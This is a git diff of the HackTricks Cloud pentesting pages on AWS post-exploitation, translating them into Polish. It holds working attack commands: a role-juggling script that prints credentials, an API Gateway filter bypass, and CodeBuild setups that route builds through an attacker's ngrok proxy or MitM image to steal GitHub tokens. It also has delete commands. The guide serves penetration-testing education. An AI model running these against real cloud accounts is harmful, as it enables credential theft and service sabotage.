Write-Host "Session Token: $($nextCredentials.SessionToken)" - Write-Host "Expiration: $($nextCredentials.Expiration)" - } - } catch { - $errorCount++ - } - } - } +# Try to assume another role using the temporary credentials +foreach ($nextRole in $roles) { +if ($nextRole.Arn -ne $role.Arn) { +$nextSessionName = "RoleJugglingTest-" + (Get-Date -Format FileDateTime) +try { +$nextCredentials = aws sts assume-role --role-arn $nextRole.Arn --role-session-name $nextSessionName --query "Credentials" --output json 2>$null | ConvertFrom-Json +if ($nextCredentials) { +Write-Host "Also successfully assumed role: $($nextRole.RoleName) from $($role.RoleName)" +Write-Host "Access Key: $($nextCredentials.AccessKeyId)" +Write-Host "Secret Access Key: $($nextCredentials.SecretAccessKey)" +Write-Host "Session Token: $($nextCredentials.SessionToken)" +Write-Host "Expiration: $($nextCredentials.Expiration)" +} +} catch { +$errorCount++ +} +} +} - # Reset environment variables - Remove-Item Env:\AWS_ACCESS_KEY_ID - Remove-Item Env:\AWS_SECRET_ACCESS_KEY - Remove-Item Env:\AWS_SESSION_TOKEN - } else { - $errorCount++ - } - } catch { - $errorCount++ - } +# Reset environment variables +Remove-Item Env:\AWS_ACCESS_KEY_ID +Remove-Item Env:\AWS_SECRET_ACCESS_KEY +Remove-Item Env:\AWS_SESSION_TOKEN +} else { +$errorCount++ +} +} catch { +$errorCount++ +} } # Output the number of errors if any if ($errorCount -gt 0) { - Write-Host "$errorCount error(s) occurred during role assumption attempts." +Write-Host "$errorCount error(s) occurred during role assumption attempts." } else { - Write-Host "No errors occurred. All roles checked successfully." +Write-Host "No errors occurred. All roles checked successfully." } Write-Host "Role juggling check complete." ``` -
{{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/README.md index 53f79d916..941a860e3 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/README.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/README.md @@ -1,6 +1 @@ # AWS - Post Exploitation - - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md index 4847c40e0..b9c70cf50 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md @@ -4,48 +4,43 @@ ## API Gateway -For more information check: +Aby uzyskać więcej informacji, sprawdź: {{#ref}} ../aws-services/aws-api-gateway-enum.md {{#endref}} -### Access unexposed APIs +### Dostęp do nieujawnionych API -You can create an endpoint in [https://us-east-1.console.aws.amazon.com/vpc/home#CreateVpcEndpoint](https://us-east-1.console.aws.amazon.com/vpc/home?region=us-east-1#CreateVpcEndpoint:) with the service `com.amazonaws.us-east-1.execute-api`, expose the endpoint in a network where you have access (potentially via an EC2 machine) and assign a security group allowing all connections.\ -Then, from the EC2 machine you will be able to access the endpoint and therefore call the gateway API that wasn't exposed before. +Możesz utworzyć punkt końcowy w [https://us-east-1.console.aws.amazon.com/vpc/home#CreateVpcEndpoint](https://us-east-1.console.aws.amazon.com/vpc/home?region=us-east-1#CreateVpcEndpoint:) z usługą `com.amazonaws.us-east-1.execute-api`, ujawnić punkt końcowy w sieci, do której masz dostęp (potencjalnie za pośrednictwem maszyny EC2) i przypisać grupę zabezpieczeń zezwalającą na wszystkie połączenia.\ +Następnie, z maszyny EC2 będziesz mógł uzyskać dostęp do punktu końcowego, a tym samym wywołać API bramy, które wcześniej nie było ujawnione. -### Bypass Request body passthrough +### Ominięcie przekazywania ciała żądania -This technique was found in [**this CTF writeup**](https://blog-tyage-net.translate.goog/post/2023/2023-09-03-midnightsun/?_x_tr_sl=en&_x_tr_tl=es&_x_tr_hl=en&_x_tr_pto=wapp). +Ta technika została znaleziona w [**tym opisie CTF**](https://blog-tyage-net.translate.goog/post/2023/2023-09-03-midnightsun/?_x_tr_sl=en&_x_tr_tl=es&_x_tr_hl=en&_x_tr_pto=wapp). -As indicated in the [**AWS documentation**](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-apigateway-method-integration.html) in the `PassthroughBehavior` section, by default, the value **`WHEN_NO_MATCH`** , when checking the **Content-Type** header of the request, will pass the request to the back end with no transformation. - -Therefore, in the CTF the API Gateway had an integration template that was **preventing the flag from being exfiltrated** in a response when a request was sent with `Content-Type: application/json`: +Jak wskazano w [**dokumentacji AWS**](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-apigateway-method-integration.html) w sekcji `PassthroughBehavior`, domyślnie wartość **`WHEN_NO_MATCH`**, podczas sprawdzania nagłówka **Content-Type** żądania, przekaże żądanie do zaplecza bez transformacji. +W związku z tym, w CTF brama API miała szablon integracji, który **zapobiegał wyciekowi flagi** w odpowiedzi, gdy wysłano żądanie z `Content-Type: application/json`: ```yaml RequestTemplates: - application/json: '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename=:moviename","FilterExpression": "not contains(#description, :flagstring)","ExpressionAttributeNames": {"#description": "description"},"ExpressionAttributeValues":{":moviename":{"S":"$util.escapeJavaScript($input.params(''moviename''))"},":flagstring":{"S":"midnight"}}}' +application/json: '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename=:moviename","FilterExpression": "not contains(#description, :flagstring)","ExpressionAttributeNames": {"#description": "description"},"ExpressionAttributeValues":{":moviename":{"S":"$util.escapeJavaScript($input.params(''moviename''))"},":flagstring":{"S":"midnight"}}}' ``` +Jednak wysłanie żądania z **`Content-type: text/json`** uniemożliwiłoby ten filtr. -However, sending a request with **`Content-type: text/json`** would prevent that filter. - -Finally, as the API Gateway was only allowing `Get` and `Options`, it was possible to send an arbitrary dynamoDB query without any limit sending a POST request with the query in the body and using the header `X-HTTP-Method-Override: GET`: - +Na koniec, ponieważ API Gateway pozwalał tylko na `Get` i `Options`, możliwe było wysłanie dowolnego zapytania dynamoDB bez żadnych ograniczeń, wysyłając żądanie POST z zapytaniem w ciele i używając nagłówka `X-HTTP-Method-Override: GET`: ```bash curl https://vu5bqggmfc.execute-api.eu-north-1.amazonaws.com/prod/movies/hackers -H 'X-HTTP-Method-Override: GET' -H 'Content-Type: text/json' --data '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename = :moviename","ExpressionAttributeValues":{":moviename":{"S":"hackers"}}}' ``` - ### Usage Plans DoS -In the **Enumeration** section you can see how to **obtain the usage plan** of the keys. If you have the key and it's **limited** to X usages **per month**, you could **just use it and cause a DoS**. +W sekcji **Enumeration** możesz zobaczyć, jak **uzyskać plan użycia** kluczy. Jeśli masz klucz i jest on **ograniczony** do X użyć **na miesiąc**, możesz **po prostu go użyć i spowodować DoS**. -The **API Key** just need to be **included** inside a **HTTP header** called **`x-api-key`**. +**API Key** musi być **dołączony** w **nagłówku HTTP** o nazwie **`x-api-key`**. ### `apigateway:UpdateGatewayResponse`, `apigateway:CreateDeployment` -An attacker with the permissions `apigateway:UpdateGatewayResponse` and `apigateway:CreateDeployment` can **modify an existing Gateway Response to include custom headers or response templates that leak sensitive information or execute malicious scripts**. - +Atakujący z uprawnieniami `apigateway:UpdateGatewayResponse` i `apigateway:CreateDeployment` może **zmodyfikować istniejącą odpowiedź bramy, aby dodać niestandardowe nagłówki lub szablony odpowiedzi, które ujawniają wrażliwe informacje lub wykonują złośliwe skrypty**. ```bash API_ID="your-api-id" RESPONSE_TYPE="DEFAULT_4XX" @@ -56,16 +51,14 @@ aws apigateway update-gateway-response --rest-api-id $API_ID --response-type $RE # Create a deployment for the updated API Gateway REST API aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod ``` - -**Potential Impact**: Leakage of sensitive information, executing malicious scripts, or unauthorized access to API resources. +**Potencjalny wpływ**: Wyciek wrażliwych informacji, wykonywanie złośliwych skryptów lub nieautoryzowany dostęp do zasobów API. > [!NOTE] -> Need testing +> Wymaga testowania ### `apigateway:UpdateStage`, `apigateway:CreateDeployment` -An attacker with the permissions `apigateway:UpdateStage` and `apigateway:CreateDeployment` can **modify an existing API Gateway stage to redirect traffic to a different stage or change the caching settings to gain unauthorized access to cached data**. - +Napastnik z uprawnieniami `apigateway:UpdateStage` i `apigateway:CreateDeployment` może **zmodyfikować istniejący etap API Gateway, aby przekierować ruch do innego etapu lub zmienić ustawienia pamięci podręcznej, aby uzyskać nieautoryzowany dostęp do danych w pamięci podręcznej**. ```bash API_ID="your-api-id" STAGE_NAME="Prod" @@ -76,16 +69,14 @@ aws apigateway update-stage --rest-api-id $API_ID --stage-name $STAGE_NAME --pat # Create a deployment for the updated API Gateway REST API aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod ``` - -**Potential Impact**: Unauthorized access to cached data, disrupting or intercepting API traffic. +**Potencjalny wpływ**: Nieautoryzowany dostęp do pamięci podręcznej danych, zakłócanie lub przechwytywanie ruchu API. > [!NOTE] -> Need testing +> Wymaga testowania ### `apigateway:PutMethodResponse`, `apigateway:CreateDeployment` -An attacker with the permissions `apigateway:PutMethodResponse` and `apigateway:CreateDeployment` can **modify the method response of an existing API Gateway REST API method to include custom headers or response templates that leak sensitive information or execute malicious scripts**. - +Napastnik z uprawnieniami `apigateway:PutMethodResponse` i `apigateway:CreateDeployment` może **zmodyfikować odpowiedź metody istniejącej metody API Gateway REST API, aby dodać niestandardowe nagłówki lub szablony odpowiedzi, które ujawniają wrażliwe informacje lub wykonują złośliwe skrypty**. ```bash API_ID="your-api-id" RESOURCE_ID="your-resource-id" @@ -98,16 +89,14 @@ aws apigateway put-method-response --rest-api-id $API_ID --resource-id $RESOURCE # Create a deployment for the updated API Gateway REST API aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod ``` - -**Potential Impact**: Leakage of sensitive information, executing malicious scripts, or unauthorized access to API resources. +**Potencjalny wpływ**: Wyciek wrażliwych informacji, wykonywanie złośliwych skryptów lub nieautoryzowany dostęp do zasobów API. > [!NOTE] -> Need testing +> Wymaga testowania ### `apigateway:UpdateRestApi`, `apigateway:CreateDeployment` -An attacker with the permissions `apigateway:UpdateRestApi` and `apigateway:CreateDeployment` can **modify the API Gateway REST API settings to disable logging or change the minimum TLS version, potentially weakening the security of the API**. - +Napastnik z uprawnieniami `apigateway:UpdateRestApi` i `apigateway:CreateDeployment` może **zmodyfikować ustawienia API Gateway REST API, aby wyłączyć logowanie lub zmienić minimalną wersję TLS, co potencjalnie osłabia bezpieczeństwo API**. ```bash API_ID="your-api-id" @@ -117,16 +106,14 @@ aws apigateway update-rest-api --rest-api-id $API_ID --patch-operations op=repla # Create a deployment for the updated API Gateway REST API aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod ``` - -**Potential Impact**: Weakening the security of the API, potentially allowing unauthorized access or exposing sensitive information. +**Potencjalny wpływ**: Osłabienie bezpieczeństwa API, co może prowadzić do nieautoryzowanego dostępu lub ujawnienia wrażliwych informacji. > [!NOTE] -> Need testing +> Wymaga testowania ### `apigateway:CreateApiKey`, `apigateway:UpdateApiKey`, `apigateway:CreateUsagePlan`, `apigateway:CreateUsagePlanKey` -An attacker with permissions `apigateway:CreateApiKey`, `apigateway:UpdateApiKey`, `apigateway:CreateUsagePlan`, and `apigateway:CreateUsagePlanKey` can **create new API keys, associate them with usage plans, and then use these keys for unauthorized access to APIs**. - +Atakujący z uprawnieniami `apigateway:CreateApiKey`, `apigateway:UpdateApiKey`, `apigateway:CreateUsagePlan` i `apigateway:CreateUsagePlanKey` może **tworzyć nowe klucze API, przypisywać je do planów użytkowania, a następnie używać tych kluczy do nieautoryzowanego dostępu do API**. ```bash # Create a new API key API_KEY=$(aws apigateway create-api-key --enabled --output text --query 'id') @@ -137,14 +124,9 @@ USAGE_PLAN=$(aws apigateway create-usage-plan --name "MaliciousUsagePlan" --outp # Associate the API key with the usage plan aws apigateway create-usage-plan-key --usage-plan-id $USAGE_PLAN --key-id $API_KEY --key-type API_KEY ``` - -**Potential Impact**: Unauthorized access to API resources, bypassing security controls. +**Potencjalny wpływ**: Nieautoryzowany dostęp do zasobów API, omijanie zabezpieczeń. > [!NOTE] -> Need testing +> Wymaga testowania {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md index 4a3c4ff21..5a9928365 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md @@ -4,7 +4,7 @@ ## CloudFront -For more information check: +Aby uzyskać więcej informacji, sprawdź: {{#ref}} ../aws-services/aws-cloudfront-enum.md @@ -12,24 +12,20 @@ For more information check: ### Man-in-the-Middle -This [**blog post**](https://medium.com/@adan.alvarez/how-attackers-can-misuse-aws-cloudfront-access-to-make-it-rain-cookies-acf9ce87541c) proposes a couple of different scenarios where a **Lambda** could be added (or modified if it's already being used) into a **communication through CloudFront** with the purpose of **stealing** user information (like the session **cookie**) and **modifying** the **response** (injecting a malicious JS script). +Ten [**post na blogu**](https://medium.com/@adan.alvarez/how-attackers-can-misuse-aws-cloudfront-access-to-make-it-rain-cookies-acf9ce87541c) proponuje kilka różnych scenariuszy, w których **Lambda** mogłaby być dodana (lub zmodyfikowana, jeśli już jest używana) do **komunikacji przez CloudFront** w celu **kradzieży** informacji o użytkownikach (takich jak **ciasteczko** sesji) i **modyfikacji** **odpowiedzi** (wstrzykiwanie złośliwego skryptu JS). -#### scenario 1: MitM where CloudFront is configured to access some HTML of a bucket +#### scenariusz 1: MitM, gdzie CloudFront jest skonfigurowany do uzyskiwania dostępu do niektórego HTML z bucketu -- **Create** the malicious **function**. -- **Associate** it with the CloudFront distribution. -- Set the **event type to "Viewer Response"**. +- **Utwórz** złośliwą **funkcję**. +- **Powiąż** ją z dystrybucją CloudFront. +- Ustaw **typ zdarzenia na "Viewer Response"**. -Accessing the response you could steal the users cookie and inject a malicious JS. +Uzyskując dostęp do odpowiedzi, możesz ukraść ciasteczko użytkowników i wstrzyknąć złośliwego JS. -#### scenario 2: MitM where CloudFront is already using a lambda function +#### scenariusz 2: MitM, gdzie CloudFront już używa funkcji lambda -- **Modify the code** of the lambda function to steal sensitive information +- **Zmień kod** funkcji lambda, aby ukraść wrażliwe informacje -You can check the [**tf code to recreate this scenarios here**](https://github.com/adanalvarez/AWS-Attack-Scenarios/tree/main). +Możesz sprawdzić [**kod tf, aby odtworzyć te scenariusze tutaj**](https://github.com/adanalvarez/AWS-Attack-Scenarios/tree/main). {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md index 54be4e299..5fe157268 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md @@ -4,85 +4,73 @@ ## CodeBuild -For more information, check: +Aby uzyskać więcej informacji, sprawdź: {{#ref}} ../../aws-services/aws-codebuild-enum.md {{#endref}} -### Check Secrets +### Sprawdź Sekrety -If credentials have been set in Codebuild to connect to Github, Gitlab or Bitbucket in the form of personal tokens, passwords or OAuth token access, these **credentials are going to be stored as secrets in the secret manager**.\ -Therefore, if you have access to read the secret manager you will be able to get these secrets and pivot to the connected platform. +Jeśli poświadczenia zostały ustawione w Codebuild do łączenia się z Github, Gitlab lub Bitbucket w formie osobistych tokenów, haseł lub dostępu za pomocą tokena OAuth, te **poświadczenia będą przechowywane jako sekrety w menedżerze sekretów**.\ +Dlatego, jeśli masz dostęp do odczytu menedżera sekretów, będziesz mógł uzyskać te sekrety i przejść do połączonej platformy. {{#ref}} ../../aws-privilege-escalation/aws-secrets-manager-privesc.md {{#endref}} -### Abuse CodeBuild Repo Access +### Nadużycie Dostępu do Repozytoriów CodeBuild -In order to configure **CodeBuild**, it will need **access to the code repo** that it's going to be using. Several platforms could be hosting this code: +Aby skonfigurować **CodeBuild**, będzie potrzebny **dostęp do repozytorium kodu**, które będzie używane. Kilka platform może hostować ten kod:
-The **CodeBuild project must have access** to the configured source provider, either via **IAM role** of with a github/bitbucket **token or OAuth access**. +**Projekt CodeBuild musi mieć dostęp** do skonfigurowanego dostawcy źródła, albo za pomocą **roli IAM**, albo z użyciem **tokena github/bitbucket lub dostępu OAuth**. -An attacker with **elevated permissions in over a CodeBuild** could abuse this configured access to leak the code of the configured repo and others where the set creds have access.\ -In order to do this, an attacker would just need to **change the repository URL to each repo the config credentials have access** (note that the aws web will list all of them for you): +Atakujący z **podwyższonymi uprawnieniami w CodeBuild** mógłby nadużyć tego skonfigurowanego dostępu, aby wyciekł kod skonfigurowanego repozytorium i innych, do których mają dostęp ustawione poświadczenia.\ +Aby to zrobić, atakujący musiałby tylko **zmienić adres URL repozytorium na każde repozytorium, do którego mają dostęp skonfigurowane poświadczenia** (zauważ, że strona aws wyświetli wszystkie z nich):
-And **change the Buildspec commands to exfiltrate each repo**. +I **zmienić polecenia Buildspec, aby wyeksportować każde repozytorium**. > [!WARNING] -> However, this **task is repetitive and tedious** and if a github token was configured with **write permissions**, an attacker **won't be able to (ab)use those permissions** as he doesn't have access to the token.\ -> Or does he? Check the next section +> Jednak to **zadanie jest powtarzalne i nużące** i jeśli token github został skonfigurowany z **uprawnieniami do zapisu**, atakujący **nie będzie mógł (nadużyć) tych uprawnień**, ponieważ nie ma dostępu do tokena.\ +> Czyżby? Sprawdź następny rozdział -### Leaking Access Tokens from AWS CodeBuild - -You can leak access given in CodeBuild to platforms like Github. Check if any access to external platforms was given with: +### Wyciek Tokenów Dostępu z AWS CodeBuild +Możesz wyciekować dostęp przyznany w CodeBuild do platform takich jak Github. Sprawdź, czy jakikolwiek dostęp do zewnętrznych platform został przyznany za pomocą: ```bash aws codebuild list-source-credentials ``` - {{#ref}} aws-codebuild-token-leakage.md {{#endref}} ### `codebuild:DeleteProject` -An attacker could delete an entire CodeBuild project, causing loss of project configuration and impacting applications relying on the project. - +Napastnik mógłby usunąć cały projekt CodeBuild, co spowodowałoby utratę konfiguracji projektu i wpłynęło na aplikacje polegające na tym projekcie. ```bash aws codebuild delete-project --name ``` - -**Potential Impact**: Loss of project configuration and service disruption for applications using the deleted project. +**Potencjalny wpływ**: Utrata konfiguracji projektu i zakłócenia w działaniu aplikacji korzystających z usuniętego projektu. ### `codebuild:TagResource` , `codebuild:UntagResource` -An attacker could add, modify, or remove tags from CodeBuild resources, disrupting your organization's cost allocation, resource tracking, and access control policies based on tags. - +Napastnik mógłby dodać, zmodyfikować lub usunąć tagi z zasobów CodeBuild, zakłócając alokację kosztów, śledzenie zasobów i polityki kontroli dostępu w oparciu o tagi. ```bash aws codebuild tag-resource --resource-arn --tags aws codebuild untag-resource --resource-arn --tag-keys ``` - -**Potential Impact**: Disruption of cost allocation, resource tracking, and tag-based access control policies. +**Potencjalny wpływ**: Zakłócenie alokacji kosztów, śledzenia zasobów i polityk kontroli dostępu opartych na tagach. ### `codebuild:DeleteSourceCredentials` -An attacker could delete source credentials for a Git repository, impacting the normal functioning of applications relying on the repository. - +Napastnik mógłby usunąć poświadczenia źródłowe dla repozytorium Git, co wpłynęłoby na normalne funkcjonowanie aplikacji polegających na tym repozytorium. ```sql aws codebuild delete-source-credentials --arn ``` - -**Potential Impact**: Disruption of normal functioning for applications relying on the affected repository due to the removal of source credentials. +**Potencjalny wpływ**: Zakłócenie normalnego funkcjonowania aplikacji polegających na dotkniętym repozytorium z powodu usunięcia poświadczeń źródłowych. {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md index c514d7a7c..22a31d0a0 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md @@ -2,73 +2,68 @@ {{#include ../../../../banners/hacktricks-training.md}} -## Recover Github/Bitbucket Configured Tokens - -First, check if there are any source credentials configured that you could leak: +## Odzyskiwanie skonfigurowanych tokenów Github/Bitbucket +Najpierw sprawdź, czy są skonfigurowane jakiekolwiek poświadczenia źródłowe, które możesz wyciekować: ```bash aws codebuild list-source-credentials ``` - ### Via Docker Image -If you find that authentication to for example Github is set in the account, you can **exfiltrate** that **access** (**GH token or OAuth token**) by making Codebuild to **use an specific docker image** to run the build of the project. +Jeśli stwierdzisz, że uwierzytelnienie do na przykład Github jest ustawione w koncie, możesz **ekstrahować** ten **dostęp** (**GH token lub OAuth token**) poprzez sprawienie, że Codebuild **użyje konkretnego obrazu docker** do uruchomienia budowy projektu. -For this purpose you could **create a new Codebuild project** or change the **environment** of an existing one to set the **Docker image**. +W tym celu możesz **utworzyć nowy projekt Codebuild** lub zmienić **środowisko** istniejącego, aby ustawić **obraz Docker**. -The Docker image you could use is [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm). This is a very basic Docker image that will set the **env variables `https_proxy`**, **`http_proxy`** and **`SSL_CERT_FILE`**. This will allow you to intercept most of the traffic of the host indicated in **`https_proxy`** and **`http_proxy`** and trusting the SSL CERT indicated in **`SSL_CERT_FILE`**. +Obraz Docker, którego możesz użyć, to [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm). To bardzo podstawowy obraz Docker, który ustawi **zmienne środowiskowe `https_proxy`**, **`http_proxy`** i **`SSL_CERT_FILE`**. To pozwoli ci przechwycić większość ruchu hosta wskazanego w **`https_proxy`** i **`http_proxy`** oraz zaufać certyfikatowi SSL wskazanemu w **`SSL_CERT_FILE`**. -1. **Create & Upload your own Docker MitM image** - - Follow the instructions of the repo to set your proxy IP address and set your SSL cert and **build the docker image**. - - **DO NOT SET `http_proxy`** to not intercept requests to the metadata endpoint. - - You could use **`ngrok`** like `ngrok tcp 4444` lo set the proxy to your host - - Once you have the Docker image built, **upload it to a public repo** (Dockerhub, ECR...) -2. **Set the environment** - - Create a **new Codebuild project** or **modify** the environment of an existing one. - - Set the project to use the **previously generated Docker image** +1. **Utwórz i prześlij swój własny obraz Docker MitM** +- Postępuj zgodnie z instrukcjami repozytorium, aby ustawić swój adres IP proxy i ustawić swój certyfikat SSL oraz **zbudować obraz docker**. +- **NIE USTAWIAJ `http_proxy`**, aby nie przechwytywać żądań do punktu końcowego metadanych. +- Możesz użyć **`ngrok`** jak `ngrok tcp 4444`, aby ustawić proxy do swojego hosta. +- Gdy masz zbudowany obraz Docker, **prześlij go do publicznego repozytorium** (Dockerhub, ECR...). +2. **Ustaw środowisko** +- Utwórz **nowy projekt Codebuild** lub **zmodyfikuj** środowisko istniejącego. +- Ustaw projekt, aby używał **wcześniej wygenerowanego obrazu Docker**.
-3. **Set the MitM proxy in your host** - -- As indicated in the **Github repo** you could use something like: +3. **Ustaw proxy MitM w swoim hoście** +- Jak wskazano w **repozytorium Github**, możesz użyć czegoś takiego: ```bash mitmproxy --listen-port 4444 --allow-hosts "github.com" ``` - > [!TIP] -> The **mitmproxy version used was 9.0.1**, it was reported that with version 10 this might not work. +> Wersja **mitmproxy używana to 9.0.1**, zgłoszono, że w wersji 10 może to nie działać. -4. **Run the build & capture the credentials** +4. **Uruchom budowę i przechwyć poświadczenia** -- You can see the token in the **Authorization** header: +- Możesz zobaczyć token w nagłówku **Authorization**: -
- -This could also be done from the aws cli with something like +
+Można to również zrobić z aws cli za pomocą czegoś takiego ```bash # Create project using a Github connection aws codebuild create-project --cli-input-json file:///tmp/buildspec.json ## With /tmp/buildspec.json { - "name": "my-demo-project", - "source": { - "type": "GITHUB", - "location": "https://github.com/uname/repo", - "buildspec": "buildspec.yml" - }, - "artifacts": { - "type": "NO_ARTIFACTS" - }, - "environment": { - "type": "LINUX_CONTAINER", // Use "ARM_CONTAINER" to run docker-mitm ARM - "image": "docker.io/carlospolop/docker-mitm:v12", - "computeType": "BUILD_GENERAL1_SMALL", - "imagePullCredentialsType": "CODEBUILD" - } +"name": "my-demo-project", +"source": { +"type": "GITHUB", +"location": "https://github.com/uname/repo", +"buildspec": "buildspec.yml" +}, +"artifacts": { +"type": "NO_ARTIFACTS" +}, +"environment": { +"type": "LINUX_CONTAINER", // Use "ARM_CONTAINER" to run docker-mitm ARM +"image": "docker.io/carlospolop/docker-mitm:v12", +"computeType": "BUILD_GENERAL1_SMALL", +"imagePullCredentialsType": "CODEBUILD" +} } ## Json @@ -76,117 +71,102 @@ aws codebuild create-project --cli-input-json file:///tmp/buildspec.json # Start the build aws codebuild start-build --project-name my-project2 ``` - ### Via insecureSSL -**Codebuild** projects have a setting called **`insecureSsl`** that is hidden in the web you can only change it from the API.\ -Enabling this, allows to Codebuild to connect to the repository **without checking the certificate** offered by the platform. - -- First you need to enumerate the current configuration with something like: +**Codebuild** projekty mają ustawienie zwane **`insecureSsl`**, które jest ukryte w sieci i można je zmienić tylko z poziomu API.\ +Włączenie tego pozwala Codebuild na połączenie z repozytorium **bez sprawdzania certyfikatu** oferowanego przez platformę. +- Najpierw musisz enumerować bieżącą konfigurację za pomocą czegoś takiego: ```bash aws codebuild batch-get-projects --name ``` - -- Then, with the gathered info you can update the project setting **`insecureSsl`** to **`True`**. The following is an example of my updating a project, notice the **`insecureSsl=True`** at the end (this is the only thing you need to change from the gathered configuration). - - Moreover, add also the env variables **http_proxy** and **https_proxy** pointing to your tcp ngrok like: - +- Następnie, z zebranymi informacjami możesz zaktualizować ustawienie projektu **`insecureSsl`** na **`True`**. Poniżej znajduje się przykład mojej aktualizacji projektu, zwróć uwagę na **`insecureSsl=True`** na końcu (to jest jedyna rzecz, którą musisz zmienić w zebranej konfiguracji). +- Ponadto, dodaj również zmienne środowiskowe **http_proxy** i **https_proxy** wskazujące na twój tcp ngrok, jak: ```bash aws codebuild update-project --name \ - --source '{ - "type": "GITHUB", - "location": "https://github.com/carlospolop/404checker", - "gitCloneDepth": 1, - "gitSubmodulesConfig": { - "fetchSubmodules": false - }, - "buildspec": "version: 0.2\n\nphases:\n build:\n commands:\n - echo \"sad\"\n", - "auth": { - "type": "CODECONNECTIONS", - "resource": "arn:aws:codeconnections:eu-west-1:947247140022:connection/46cf78ac-7f60-4d7d-bf86-5011cfd3f4be" - }, - "reportBuildStatus": false, - "insecureSsl": true - }' \ - --environment '{ - "type": "LINUX_CONTAINER", - "image": "aws/codebuild/standard:5.0", - "computeType": "BUILD_GENERAL1_SMALL", - "environmentVariables": [ - { - "name": "http_proxy", - "value": "http://2.tcp.eu.ngrok.io:15027" - }, - { - "name": "https_proxy", - "value": "http://2.tcp.eu.ngrok.io:15027" - } - ] - }' +--source '{ +"type": "GITHUB", +"location": "https://github.com/carlospolop/404checker", +"gitCloneDepth": 1, +"gitSubmodulesConfig": { +"fetchSubmodules": false +}, +"buildspec": "version: 0.2\n\nphases:\n build:\n commands:\n - echo \"sad\"\n", +"auth": { +"type": "CODECONNECTIONS", +"resource": "arn:aws:codeconnections:eu-west-1:947247140022:connection/46cf78ac-7f60-4d7d-bf86-5011cfd3f4be" +}, +"reportBuildStatus": false, +"insecureSsl": true +}' \ +--environment '{ +"type": "LINUX_CONTAINER", +"image": "aws/codebuild/standard:5.0", +"computeType": "BUILD_GENERAL1_SMALL", +"environmentVariables": [ +{ +"name": "http_proxy", +"value": "http://2.tcp.eu.ngrok.io:15027" +}, +{ +"name": "https_proxy", +"value": "http://2.tcp.eu.ngrok.io:15027" +} +] +}' ``` - -- Then, run the basic example from [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) in the port pointed by the proxy variables (http_proxy and https_proxy) - +- Następnie uruchom podstawowy przykład z [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) na porcie wskazanym przez zmienne proxy (http_proxy i https_proxy) ```python from mitm import MITM, protocol, middleware, crypto mitm = MITM( - host="127.0.0.1", - port=4444, - protocols=[protocol.HTTP], - middlewares=[middleware.Log], # middleware.HTTPLog used for the example below. - certificate_authority = crypto.CertificateAuthority() +host="127.0.0.1", +port=4444, +protocols=[protocol.HTTP], +middlewares=[middleware.Log], # middleware.HTTPLog used for the example below. +certificate_authority = crypto.CertificateAuthority() ) mitm.run() ``` - -- Finally, click on **Build the project**, the **credentials** will be **sent in clear text** (base64) to the mitm port: +- Na koniec kliknij na **Zbuduj projekt**, **poświadczenia** będą **wysyłane w czystym tekście** (base64) do portu mitm:
